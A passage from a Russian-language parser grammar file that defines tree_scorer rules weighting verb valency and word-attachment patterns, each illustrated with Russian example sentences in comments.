{ if context { глагол:наслать{ наклонение:побуд }.предлог:на{}.*:*{ падеж:предл } } then -10 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { глагол:наслать{ наклонение:побуд }.предлог:у{} } then -10 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { глагол:наслать{ наклонение:побуд }.предлог:под{} } then -10 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { глагол:наслать{ наклонение:побуд }.предлог:над{} } then -10 }
// ИНТЕРЕСОВАТЬ - обычно кого-то, а не что-то
// Наравне с литературой его интересует и живопись.
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:интересовать{}.<OBJECT>НеодушОбъект } then -2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:интересовать{}.<OBJECT>ОдушОбъект{ падеж:род } } then -10 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:интересовать{}.<OBJECT>ОдушОбъект{ падеж:вин } } then 1 }
// Модальный ХОТЕТЬ, присоединив инфинитив, уже не может
// присоединять некоторые предложные дополнения:
// она хотела освободиться от меня
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:хотеть{}.{
<INFINITIVE>*:*{}
предлог:от{} }
}
then -100
}
// Обычно КОМУ-ТО идет ОДЕЖДА.
// по всему берегу шла работа
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:идти{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } } then -10 }
// Подавим присоединение наречия КАК справа к БЫТЬ:
// это было как волшебство
// ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:быть{1}.наречие:как{2} } then -10 }
// Для ПАХНУТЬ - либо ОТ+род, либо КТО-ТО.
// а от вас слишком уж пахнет
tree_scorer ВалентностьПредиката language=Russian
{
if context { глагол:пахнуть{ вид:несоверш }.{
<SUBJECT>*:*{}
предлог:от{}
}
}
then -100
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { глагол:пахнуть{ вид:соверш }.{
<SUBJECT>*:*{}
предлог:от{}
}
}
then -100
}
// Обычно время суток не может являться именным сказуемым (вместе со связкой)
// где ж ты был прошлой ночью?
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { глагол:быть{}.<RHEMA>ЧастьСуток{ ПАДЕЖ:ТВОР } }
then -2
}
// обычно ГОВОРЯТ КОМУ-ТО:
// пару минут пытался говорить.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:говорить{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } }
then -2
}
// вещи мы забрали без шума
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:забрать{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } }
then -10
}
// их кони шли легким шагом
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:идти{}.<OBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } }
then -10
}
// послушай лучше меня!
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:послушать{ наклонение:побуд }.{
<ATTRIBUTE>'лучше'{ class:наречие }
<OBJECT>*:*{ ПАДЕЖ:ВИН }
}
}
then 5
}
// нет больше вашего дракона
tree_scorer language=Russian
{
if context { частица:нет{}.{
<ATTRIBUTE>'больше'{ class:наречие }
существительное:*{ падеж:род }
}
}
then 5
}
// обычно КЕМ-ТО не едят:
// Антонио ел пюре каждый день
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:есть{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:ТВОР } }
then -10
}
// только как это сделать?
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:сделать{}.{
<ATTRIBUTE>наречие:как{}.[not]*:*{}
<OBJECT>НеодушОбъект{ ПАДЕЖ:ВИН }
} }
then 1
}
// Мозг этих существ сходен по размерам с мозгом динозавра
// ^^^^^^ ^
tree_scorer ВалентностьГлагола language=Russian
{
if context { прилагательное:сходный{}.предлог:с{}.*:*{ падеж:твор } }
then 2
}
// Я пришёл сюда раньше его
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:придти{}.предлог:раньше{}.*:*{ падеж:род } }
then 2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:прийти{}.предлог:раньше{}.*:*{ падеж:род } }
then 2
}
// В США миллионера осудили за попытку продать Ирану детали для ракет ПВО
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:продать{}.{
<OBJECT>*:*{ падеж:дат }
<OBJECT>*:*{ падеж:вин }
} }
then 2
}
// ты можешь отдать его своему другу.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:отдать{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:дат }
} }
then 2
}
// тратить время на пустяки
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:тратить{}.{
<OBJECT>НеодушОбъект{ падеж:вин }
предлог.*:*{ падеж:вин }
} }
then 2
}
// а каким же образом о нем узнали вы?
// ^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:узнать{}.предлог:о{}.*:*{ падеж:предл } }
then 2
}
// еще четверо тащили под руки своих раненых
// ^^^^^^ ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:тащить{}.<OBJECT>*:*{ падеж:вин } }
then 2
}
// некоторые из них тащили за собой платформы
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:тащить{}.{
предлог:из{}
предлог:за{}
} }
then -10
}
// ты можешь узнать подробности у нее
// Узнав его, они закричали
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:узнать{}.<OBJECT>*:*{ падеж:род } }
then -1
}
// мне бы хотелось узнать о судьбе своего кота.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:узнать{}.{
предлог:о{}
<OBJECT>ОдушОбъект{ падеж:вин }
} }
then -100
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:узнать{}.{
предлог:об{}
<OBJECT>ОдушОбъект{ падеж:вин }
} }
then -100
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:знать{}.{
предлог:о{}
<OBJECT>ОдушОбъект{ падеж:вин }
} }
then -100
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:знать{}.{
предлог:об{}
<OBJECT>ОдушОбъект{ падеж:вин }
} }
then -100
}
// меня называли прекрасным человеком
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:называть{}.{
<OBJECT>*:*{ падеж:дат }
<OBJECT>*:*{ падеж:твор }
} }
then -100
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:назвать{}.{
<OBJECT>*:*{ падеж:дат }
<OBJECT>*:*{ падеж:твор }
} }
then -100
}
// Мы выбрали его секретарём нашей организации.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:выбрать{}.{
<OBJECT>ОдушОбъект{ падеж:вин }
<OBJECT>ОдушОбъект{ падеж:твор }
} }
then 2
}
// отдал бы пару лет жизни
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:узнать{}.<OBJECT>НеодушОбъект{ падеж:дат } }
then -1
}
// Предпочитаем одушевленный объект в конструкции:
//
// Узнать от соседей
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:узнать{}.<PREPOS_ADJUNCT>предлог:от{}.<OBJECT>НеодушОбъект{ падеж:род } }
then -2
}
// Общее правило для побудительного наклонения: явный субъект не
// может быть в "сослагательном наклонении", то есть иметь частицу БЫ:
//
// меня бы непременно нашли
// ^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{ наклонение:побуд }.<SUBJECT>*:*{}.частица:бы{} }
then -100
}
// -----------------------------------------------------------------
// Некоторые наречия не сочетаются с императивом, и это позволяет
// снимать омонимию:
//
// где мой револьвер?
// ^^^ ~~~
wordentry_set СловаНеДляИмператива=
{
наречие:где{},
наречие:когда{},
наречие:почему{},
наречие:зачем{},
наречие:отчего{},
местоим_сущ:кто{},
местоим_сущ:кто-то{},
местоим_сущ:что{},
местоим_сущ:что-то{}
}
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{ наклонение:побуд }.СловаНеДляИмператива }
then -10
}
// -----------------------------------------------------------------
// она ждала от него совсем другого
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:ждать{}.наречие:совсем{} }
then -100
}
// теперь было совсем другое дело
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:быть{}.наречие:совсем{} }
then -100
}
// она могла вполне оказаться правой
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:оказаться{}.наречие:вполне{} }
then -100
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:оказаться{}.наречие:совсем{} }
then -100
}
// Для отрицательной формы переходного глагола
// подавим родительный падеж для прямого одушевленного дополнения:
// Самого богатого француза не пустили в Бельгию
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{ ПЕРЕХОДНОСТЬ:ПЕРЕХОДНЫЙ ПАДЕЖ:ВИН }.{
частица:не{}
<OBJECT>ОдушОбъект{ ПАДЕЖ:РОД }
} }
then -2
}
// Придавим вариант прошедшего времени для несовершенного глагола, если
// есть наречие настоящего или будущего времени:
// уж больно ты сейчас слаб
// ^^^^^^^^^^^
wordentry_set НаречиеНастБуд=наречие:{ сейчас, завтра, послезавтра }
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:слабнуть{ ВРЕМЯ:ПРОШЕДШЕЕ }.{
НаречиеНастБуд
} }
then -1
}
// Подавляем наречие ДОСТАТОЧНО справа от БЫТЬ:
// она была достаточно влажной
// есть достаточно благополучные северные территории
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:быть{}.наречие:достаточно{} }
then -10
}
// нам всем очень жаль тебя
tree_scorer ВалентностьГлагола language=Russian
{
if context { безлич_глагол:жаль{}.<OBJECT>ОдушОбъект{ ПАДЕЖ:РОД } }
then -2
}
// извивалась под его длинными усами
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:извиваться{}.предлог:под{}.*:*{ падеж:вин } }
then -100
}
// а результаты могли быть куда хуже
// ^^^^^ ^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:мочь{1}.наречие:куда{2} }
then -2
}
// модальный глагол МОЧЬ обычно не присоединяет предложное дополнение:
// мы можем без купюр поговорить
// ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { глагол:мочь{}.предлог:*{} }
then -1
}
// когда мне смотреть новости?
// ^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:смотреть{}.<OBJECT>существительное:*{ падеж:дат одуш:неодуш } }
then -2
}
// знаешь холм позади лагеря?
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:знать{}.предлог:позади{} }
then -2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:знать{}.предлог:впереди{} }
then -2
}
// шли вчера по тропинке
// ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { 'шли'{ наклонение:побуд }.наречие:вчера{} }
then -2
}
// кругом была полная тишина
// ^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context {
глагол:быть{1}.
{
прилагательное:*{ ~краткий падеж:им 2 }
существительное:*{ падеж:им 3 }
}
}
then -10
}
// Если ПОДОШЕЛ кому-то, то запрещаем предложное дополнение "К ЧЕМУ-ТО"
// Вольф широким шагом подошел к ним
tree_scorer ВалентностьГлагола language=Russian
{
if context {
rus_verbs:подойти{}.
{
<OBJECT>*:*{ ПАДЕЖ:ДАТ }
предлог:к{}
}
}
then -100
}
/*
// ------------------------------------------
// некоторые связочные глаголы требуют, чтобы объект был согласован с
// подлежащим по роду и числу:
// Он оказался сломанным
#define СвязочнГлагол(v) \
#begin
tree_scorer ВалентностьГлагола language=Russian
{
if context {
глагол:v{}.
{
sbj=<SUBJECT>*:*{}
obj=<OBJECT>прилагательное:*{ падеж:твор }
}
}
//constraints { НесогласСущПрил(sbj,obj) }
//constraints { sbj:РОД!=obj:РОД }
then -100
}
#end
СвязочнГлагол(оказаться)
оставаться
остаться
оказываться
стать
становиться
притворяться
притвориться
прикинуться
прикидываться
*/
// а результаты могли быть куда хуже
// ^^^^ ~~~~
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:быть{}.наречие:куда{} }
then -2
}
// ОКАЗАТЬСЯ надо подавлять справа любые наречия, кроме ГДЕ и КОГДА:
//
// Засада оказалась наполовину успешной
//
// все оказалось гораздо хуже
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:оказаться{1}.наречие:*{ 2 ~ОБСТ_ВАЛ:МЕСТО ~ОБСТ_ВАЛ:МОМЕНТ_ВРЕМЕНИ ~СТЕПЕНЬ:СРАВН } }
then -2
}
// объединение их в единую работающую систему составляет сверхзадачу построения искусственного интеллекта.
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:составлять{}.{
предлог:в{}.*:*{ падеж:вин }
<OBJECT>*:*{ падеж:вин }
} }
then -2
}
wordentry_set ПритяжМестТворЗапрет=притяж_частица:{ ее, его, их }
// прилагательные ЕЁ, ЕГО, ИХ обычно не употребляются в качестве дополнения
// творительного падежа:
// силы явно оставляли ее
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { *:*{}.<OBJECT>ПритяжМестТворЗапрет }
then -5
}
// вы же ее давно знаете!
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:знать{}.<OBJECT>местоимение:я{ падеж:род } }
then -2
}
// вы делаете из мухи слона
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:делать{1}.{
предлог:из{2}
<OBJECT>*:*{ 3 падеж:вин }
} }
then 1
}
// Британец, спасший от акулы детей в Австралии, потерял работу (СПАСШИЙ ОТ КОГО-ТО КОГО-ТО)
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:спасти{1}.{
предлог:от{2}
<OBJECT>*:*{ 3 падеж:вин }
} }
then 1
}
// небольшой штраф за родительное дополнение:
// мы оба знали правила игры.
// ^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:знать{}.<OBJECT>*:*{ падеж:род } }
then -1
}
// Придаточное ", ЧТО ..." конкурирует за ту же валентность, что и прямое винительное/родительное
// дополнение, поэтому гасим одновременное наличие.
// Маленький квадратик на линии между блоком оценки награды и блоком выбора действия показывает, что эта связь модулирует значимость действия
// ~~~~~~~~ ^^^^^^^^^^^^^^^^
tree_scorers ВинРодДопГл
tree_scorer ВинРодДопГл language=Russian { if context { *:*{ падеж:вин } } then 1 }
tree_scorer ВинРодДопГл language=Russian { if context { *:*{ падеж:род } } then 1 }
tree_scorer ВалентностьСложнСказ language=Russian generic
{
if context { *:*{}.{
<OBJECT>ВинРодДопГл
<NEXT_CLAUSE>','.союз:что{}
}
}
then -5
}
wordentry_set Прелог_О_Об={ предлог:о{}, предлог:об{} }
// Универсальный принцип: косвенное дополнение О+чем-то заполняет тот же слот, что
// и вин/род дополнение:
// О появлении свежей лавы свидетельствует мощная подсветка в вершинном кратере вулкана
// ^^^^^^^^^^^ ~~~~~~~~~~~
tree_scorer ВалентностьСложнСказ language=Russian generic
{
if context { *:*{}.{
<OBJECT>ВинРодДопГл
Прелог_О_Об.*:*{ падеж:предл }
}
}
then -10
}
// их даже стали из бумаги делать
tree_scorer ВалентностьСложнСказ language=Russian
{
if context { rus_verbs:делать{}.{
<OBJECT>ВинРодДопГл
предлог:из{}
}
}
then 1
}
// только пустое пространство - космос
tree_scorer ВалентностьСложнСказ language=Russian generic
{
if context { '-'.<ATTRIBUTE>наречие:только{} }
then -2
}
// Подавим присоединение одушевленного родительного дополнения
// к глаголам в случае, если глагол может присоединить винительное:
// Я хочу тебя
// ^^^^
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { *:*{ переходность:переходный падеж:вин падеж:род }.
ОдушОбъект{ падеж:род }
}
then -1
}
// Дмитрий сказал ей об этом
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:сказать{}.<OBJECT>местоимение:я{ падеж:твор } }
then -2
}
// пожелать спортсменам удачи
// ^^^^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пожелать{}.<OBJECT>*:*{ падеж:род одуш:неодуш } }
then 1
}
// пожелать спортсменам удачи
// ^^^^^^^^ ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:пожелать{}.<OBJECT>*:*{ падеж:дат одуш:одуш } }
then 1
}
// желать спортсменам удачи
// ^^^^^^ ^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:желать{}.<OBJECT>*:*{ падеж:род одуш:неодуш } }
then 1
}
// желать спортсменам удачи
// ^^^^^^ ^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:желать{}.<OBJECT>*:*{ падеж:дат одуш:одуш } }
then 1
}
// Мама налила чай
// ^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:налить{}.<OBJECT>существительное:*{ падеж:вин <в_класс>существительное:напиток{} } }
then 1
}
// Оля съела пюре
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:съесть{}.<OBJECT>существительное:*{ падеж:вин <в_класс>существительное:еда{} } }
then 1
}
// испросить разрешения
// ^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:испросить{}.<OBJECT>*:*{ падеж:род одуш:неодуш } }
then 3
}
// наделать в решении ошибок
// ^^^^^^^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:наделать{}.<OBJECT>существительное:*{ падеж:род } }
then 2
}
// дракон смотрит вслед человеку.
// ^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:смотреть{}.предлог:вслед{}.*:*{ падеж:дат } }
then 1
}
// нажимать на все кнопки
// ^^^^^^^^ ^^ ^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:нажимать{}.предлог:на{}.существительное:*{ одуш:неодуш падеж:вин } }
then 1
}
// предикатив МОЖНО обычно присоединяет только одушевленный дательный агенс:
// на этой удивительно четкой фотографии можно увидеть рассеянное скопление
// ~~~~~~~~~~ ^^^^^
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:можно{}.<SUBJECT>НеодушОбъект{ ПАДЕЖ:ДАТ } }
then -2
}
// поэтому - очень легкий спуск
tree_scorer ВалентностьПредиката language=Russian
{
if context { '-'.<ATTRIBUTE>наречие:очень{} }
then -10
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { '–'.<ATTRIBUTE>наречие:очень{} }
then -10
}
tree_scorer ВалентностьПредиката language=Russian
{
if context { '—'.<ATTRIBUTE>наречие:очень{} }
then -10
}
// Мужчина, взявший в заложники пожарных в США, убит при штурме
// ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьСложнСказ language=Russian
{
if context { rus_verbs:взять{}.{
<OBJECT>*:*{ падеж:вин }
предлог:в{}.*:*{ падеж:им }
}
}
then 2
}
// отчего же получается такая разница?
tree_scorer ВалентностьСложнСказ language=Russian
{
if context { глагол:получаться{1}.{
прилагательное:*{2 падеж:им }
<SUBJECT>*:*{ 3 }
}
}
then -2
}
// отчего же получилась такая разница?
tree_scorer ВалентностьСложнСказ language=Russian
{
if context { глагол:получиться{1}.{
прилагательное:*{2 падеж:им }
<SUBJECT>*:*{ 3 }
}
}
then -2
}
// черный кожаный костюм делал его почти невидимым
tree_scorer ВалентностьСложнСказ language=Russian
{
if context { rus_verbs:делать{}.{
<OBJECT>*:*{ падеж:вин }
прилагательное:*{ падеж:твор }
}
}
then 1
}
// Общее правило для глаголов - два наречия подряд прикрепляются
// достаточно редко.
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { глагол:*{}.@sequence_pos(НАРЕЧИЕ) }
then -1
}
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { инфинитив:*{}.@sequence_pos(НАРЕЧИЕ) }
then -1
}
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { деепричастие:*{}.@sequence_pos(НАРЕЧИЕ) }
then -1
}
// как это все объяснить?
// ^^^^^^^^^^^
tree_scorer language=Russian generic
{
if context { наречие:как{1}.местоим_сущ:все{} }
then -1
}
tree_scorer language=Russian
{
if context { наречие:как{1}.местоим_сущ:это{} }
then -1
}
// *******************************************************************************
// Подавляем одновременное присоединение винительного и родительного дополнения
//
// я буду ждать результаты проверки
// ^^^^^^^^^^^^^^^^^^^^^^^^^
// *******************************************************************************
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { *:*{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:род }
}
}
then -10
}
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { *:*{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:парт }
}
}
then -10
}
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { *:*{}.{
<OBJECT>*:*{ падеж:род }
<OBJECT>*:*{ падеж:парт }
}
}
then -10
}
// ------------------------------------------------------
// Немного придавим использование прилагательного в роли
// творительного дополнения:
// нога жреца коснулась первой ступеньки.
// ^^^^^^
wordentry_set ГлаголыСвязки=
{
rus_verbs:остаться{}, // вроде бы их количество осталось прежним.
rus_verbs:оставить{}, // дверь туда оставим открытой.
rus_verbs:оставлять{},
rus_verbs:оставаться{},
rus_verbs:становиться{},
rus_verbs:стать{},
rus_verbs:представляться{}, // оно всегда представлялось ей пронзительно голубым.
rus_verbs:притвориться{},
rus_verbs:притворяться{},
rus_verbs:прикинуться{},
rus_verbs:прикидываться{},
rus_verbs:делаться{},
rus_verbs:объявить{},
rus_verbs:объявлять{},
rus_verbs:назвать{},
rus_verbs:называть{},
rus_verbs:являться{},
rus_verbs:казаться{},
rus_verbs:оказаться{},
rus_verbs:показаться{},
rus_verbs:быть{},
rus_verbs:бывать{},
rus_verbs:найти{}, // Он был найден виновным.
rus_verbs:сделаться{}
}
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { *:*{ ~ГлаголыСвязки }.<OBJECT>прилагательное:*{ падеж:твор } }
then -2
}
// Желать вам всем удачи
tree_scorer ВалентностьГлагола language=Russian generic
{
if context { *:*{ ~ГлаголыСвязки }.<OBJECT>местоим_сущ:всё{ падеж:твор } }
then -2
}
// ------------------------------------------------------
// забористый бас Константина делал его легко узнаваемым
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:делать{}.<OBJECT>прилагательное:*{ падеж:дат }
}
then -2
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:сделать{}.<OBJECT>прилагательное:*{ падеж:дат }
}
then -2
}
// ------------------------------------------------------
// злодей схватил нож и несколько раз всадил его оппоненту в спину
// ^^^^^^ ^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:всадить{}.{
<OBJECT>НеодушОбъект{ ПАДЕЖ:ВИН}
<OBJECT>*:*{ ПАДЕЖ:ДАТ }
}
}
then 1
}
// ------------------------------------------------------
// Обычно глагол не может одновременно присоединять и винительный,
// и родительный падеж, но некоторые глаголы - могут:
// это может лишить наше общество работы
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:лишить{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>НеодушОбъект{ ПАДЕЖ:РОД }
}
}
then 12
}
// ------------------------------------------------------
// она обхватила его руками за шею
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:обхватить{}.{
<OBJECT>*:*{ ПАДЕЖ:ВИН }
<OBJECT>*:*{ ПАДЕЖ:ТВОР }
}
}
then 1
}
// ------------------------------------------------------
// Подавляем для модального ХОТЕТЬ присоединение дополнений,
// когда присоединен инфинитив:
// ты это хотел мне рассказать?
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:хотеть{}.{ <OBJECT>*:*{ падеж:дат } инфинитив:*{} } } then -10 }
// ------------------------------------------------------
// Однако их ярость уступила место страху
tree_scorer ВалентностьСложнСказ language=Russian
{
if context { rus_verbs:уступить{}.{
<OBJECT>*:*{ падеж:вин }
<OBJECT>*:*{ падеж:дат }
}
}
then 1
}
// --------------------------------------------------------------
// глагол ПОМОЧЬ обычно присоединяет дательную валентность.
// мне надо им помочь
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:помочь{}.[not]<OBJECT>*:*{ падеж:дат } } then -2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:помогать{}.[not]<OBJECT>*:*{ падеж:дат } } then -2 }
// -------------------------------
// злодей схватил нож и несколько раз всадил его оппоненту в спину
tree_scorer ВалентностьСложнСказ language=Russian
{
if context { rus_verbs:всадить{}.{
<OBJECT>НеодушОбъект{ падеж:вин }
<OBJECT>ОдушОбъект{ падеж:дат }
}
}
then 1
}
// ------------------------------------
// за деревьями леса не видеть
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:видеть{}.{
частица:не{}
<OBJECT>*:*{ падеж:род }
}
}
then 1
}
// ------------------------------------
// Подавляем компаратив наречия справа от ОКАЗАТЬСЯ, если
// у глагола есть прямое дополнение:
// эта задача оказалась гораздо легче первой.
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:оказаться{}.{
наречие:*{ степень:сравн }
*:*{ падеж:твор }
}
}
then -10
}
// ----------------------------------------------
// Обычно рассказывают либо ЧТО-ТО, либо о ЧЕМ-ТО
// Набив рот, он попросил ее рассказать о вторжении.
// ^^^^^^^^^^^^^^^^^^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:рассказать{}.{
*:*{ падеж:вин }
предлог:о{}
}
}
then -5
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:рассказать{}.{
*:*{ падеж:род }
предлог:о{}
}
}
then -5
}
// Набив рот, он попросил ее рассказать о вторжении.
// ^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:попросить{}.{
инфинитив:*{}
предлог:о{}
}
}
then -5
}
// Предприниматели ФРГ выступают за добычу сланцевого газа
// ^^^ ^^^^^^^^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:выступать{2}.<OBJECT>*:*{ 1 падеж:твор } } then -2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:выступать{}.<OBJECT>*:*{ падеж:твор <в_класс>существительное:страна{} } } then -2 }
// Обычно ВОСПОЛЬЗОВАТЬСЯ имеет заполненный слот творительного дополнения:
// этим мгновением надо было воспользоваться
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:воспользоваться{}.<OBJECT>*:*{ падеж:твор } } then 2 }
// откуда ее черт принес?
// Откуда её ветер принёс?
tree_scorer ВалентностьПредиката language=Russian
{
if context { rus_verbs:принести{}.{
<SUBJECT>*:*{}
<OBJECT>*:*{ падеж:вин }
}
}
then 1
}
// ей доводилось встречать эти существа
tree_scorer ВалентностьПредиката language=Russian
{
if context { безлич_глагол:доводилось{}.{
<SUBJECT>*:*{ падеж:дат }
инфинитив:*{}
}
}
then 3
}
// Есть у нас в лесу место
tree_scorer ВалентностьГлагола language=Russian
{
if context { 'есть'{ class:инфинитив }.предлог:у{} }
then -5
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:заняться{}.<OBJECT>*:*{ падеж:твор } }
then 1
}
tree_scorer ВалентностьГлагола language=Russian
{
if context { rus_verbs:заниматься{}.<OBJECT>*:*{ падеж:твор } }
then 1
}
// Майкл способен попасть в кольцо с десятиметровой дистанции пять раз подряд
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:попасть{}.предлог:с{}.*:*{ ПАДЕж:РОД } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:попадать{}.предлог:с{}.*:*{ ПАДЕж:РОД } } then 2 }
// Я спустил собаку с цепи.
// ^^^^^^^ ^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:спустить{}.предлог:с{}.*:*{ ПАДЕж:РОД } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:спускать{}.предлог:с{}.*:*{ ПАДЕж:РОД } } then 2 }
// Гоша опустил ногу со стола.
// ^^^^^^^ ^^
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:опустить{}.предлог:с{}.*:*{ ПАДЕж:РОД } } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { rus_verbs:опускать{}.предлог:с{}.*:*{ ПАДЕж:РОД } } then 2 }
// тебе доводилось использовать силы магии против другого человека?
tree_scorer ВалентностьГлагола language=Russian
{ if context { глагол:использовать{ вид:соверш }.предлог:против{} } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { глагол:использовать{ вид:несоверш }.предлог:против{} } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { инфинитив:использовать{ вид:соверш }.предлог:против{} } then 2 }
tree_scorer ВалентностьГлагола language=Russian
{ if context { инфинитив:использовать{ вид:несоверш }.предлог:против{} } then 2 }
// лесом от него пахло
tree_scorer ВалентностьГлагола language=Russian
{
